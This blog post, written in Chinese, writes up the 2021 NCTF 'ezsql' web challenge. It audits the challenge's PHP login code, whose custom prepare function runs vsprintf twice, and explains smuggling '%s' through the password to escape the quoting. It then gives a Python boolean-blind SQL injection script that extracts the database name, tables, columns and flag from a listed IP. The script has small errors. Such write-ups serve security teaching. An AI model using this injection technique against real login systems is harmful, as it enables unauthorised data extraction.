2021NCTF-web ezsql复现

2021NCTF-web ezsql复现

分析

下载下来附件解压后是三个php代码,进行代码审计:
login.php

<?php
include_once('config.php');#调用一次config.php
?>
<!DOCTYPE html>
<html>
    <head>
        <title>There is no absolutely safe system</title>
    </head>
    <body>
<?php
if (isset($_POST['password'])){ #检测变量是否为空
    $query = db::prepare("SELECT * FROM `users` where password=md5(%s)", $_POST['password']);#password的值作为prepare的参数传入

    if (isset($_POST['name'])){
        $query = db::prepare($query . " and name=%s", $_POST['name']);
    }
    else{
        $query = $query . " and name='benjaminEngel'";
    }
    $query = $query . " limit 1";

    $result = db::commit($query);

    if ($result->num_rows > 0){
        die('NCTF{ez');
    }
    else{
        die('Wrong name or password.');
    }
}
else{?>
        <form action="login.php" method="post">
            <input name="name" id="name" placeholder="benjaminEngel" value=bejaminEngel disabled>
            <input type="password" name="password" id="password" placeholder="Enter password">
            <button type="submit">Submit</button>
        </form>
<?php 
}
?>
    </body>
</html>

config.php

<?php
$db_host = "db";
$db_user = "mysql";
$db_pass = "mysql123";
$db_database = "2021";

include 'DB.php';
DB::buildMySQL($db_host, $db_user, $db_pass, $db_database);

if(db::connect_error()){
    die('Error whiling connecting to DB');
}
?>

DB.php

<?php

class DB{
    private static $db = null;

    public function __construct($db_host, $db_user, $db_pass, $db_database){
        static::$db = new mysqli($db_host, $db_user, $db_pass, $db_database);
    }


    static public function buildMySQL($db_host, $db_user, $db_pass, $db_database)
    {
        return new DB($db_host, $db_user, $db_pass, $db_database);
    }

    public static function getInstance(){
        return static::$db;
    }

    public static function connect_error(){
        return static::$db->connect_errno;
    }

    public static function prepare($query, $args){
        if (is_null($query)){
            return;
        }
        if (strpos($query, '%') === false){#检测有无%
            die('%s not included in query!');
            return;
        }

        // get args
        $args = func_get_args();#返回一个包含函数参数列表的数组,获取$query与$args
        array_shift( $args );#将 array 的第一个单元移出并作为结果返回,将 array 的长度减一并将所有其它单元向前移动一位。所有的数字键名将改为从零开始计数,文字键名将不变。 

        $args_is_array = false;#判断args[0]是否为数组且是否为唯一值
        if (is_array($args[0]) && count($args) == 1 ) {
            $args = $args[0];
            $args_is_array = true;
        }

        $count_format = substr_count($query, '%s');#计算字串出现的次数

        if($count_format !== count($args)){#计算数组中的单元数目,或对象中的属性个数
            die('Wrong number of arguments!');
            return;
        }
        // escape
        foreach ($args as &$value){#foreach 语法结构提供了遍历数组的简单方式,每次循环中,当前单元的值被赋给 $value。可以很容易地通过在 $value 之前加上 & 来修改数组的元素。此方法将以引用赋值而不是拷贝一个值。 
            $value = static::$db->real_escape_string($value);#函数转义在 SQL 语句中使用的字符串中的特殊字符。
        }

        // prepare
        $query = str_replace("%s", "'%s'", $query);#在%s前后加'
        $query = vsprintf($query, $args);#将%query中的'%s'替换为$args
        return $query;

    }
    public static function commit($query){
        $res = static::$db->query($query);#执行SQL查询
        if($res !== false){ 
                return $res;
            }
            else{
                die('Error in query.');
        }
    }
}
?>

已经将其中各种函数的功能做了注释。大致对post的值进行的操作是,将其输入的变量(数组)的个数与原本字符串中的%s的个数进行比对,然后将%s替换为变量。于是我们可以考虑进行注入。

同时我们需要注意的两点:

1.绕过MD5加密。(进行括号的闭合)

2.绕过单引号。(注入两次即可)

于是构造脚本

import requests
TS="NCTF"
WS="wrong"
url = "http://129.211.173.64:3080/login.php"
def SQL():
	res=""
	for i in range(1, 100):
		left=32
		right=128
		mid=(left+right)//2
		while(left<right):
			payload_database=") or ascii(substr(select database(), %d, 1))>%d#" %(i, mid)
			payload_all_database=") or ascii(substr(select group_concat(schema_name) from information_schema.schemata), %d, 1)>%d#" %(i, mid)
			payload_table_name=") or ascii(substr(select group_concat(table_name) from information_schema.tables where table_schema=0x32303231), %d, 1)>%d#" %(i, mid)
			payload_column_name=") or ascii(substr(select group_concat(column_name) from information_schema.columns where table_name=0x32303231)%d, 1)>%d#" %(i, mid)
			payload_data=") or ascii(substr(select 'fl@g' from '2021'.NcTF limit 0, 1), %d, 1)>%d#" %(i, mid)
			payload=payload_data
			data={"name[0]":payload, "name[1]":"1234", "password":"%s"}
			request=requests.post(url=url, data=data)
			if TS in request.text:
				left=mid+1
			else:
				right=mid
			mid=(left+right)//2
		if(mid==32):
			break
		res+=chr(mid)
	print(res)
if __name__ == "__main__" :
	SQL

几个比较容易出现的问题:
1.为什么要先在passward处注入一个%s,再在name中注入payload
这是由于代码中会将%s变为'%s',我们的语句无法正常运行,需要两次注入来绕出引号

#如果直接注入,运行的语句为:
select * from 'users' where passward=md5(') or ascii(substr(select database(), i, 1))>mid#') and name='1234'
#先注入%s再注入语句
select * from 'users' where passward=md5('%s')
->
select * from 'users' where passward=md5('') or ascii(substr(select database(), i, 1))>mid#'') and name='1234'

显然用第二种方式可以成功的绕出单引号
2.绕出MD5加密的方式
在payload的最前方的)是用来闭合前面MD5语句的,可以成功绕出。

posted @ 2021-12-09 14:38  king_kb  阅读(126)  评论(0编辑  收藏  举报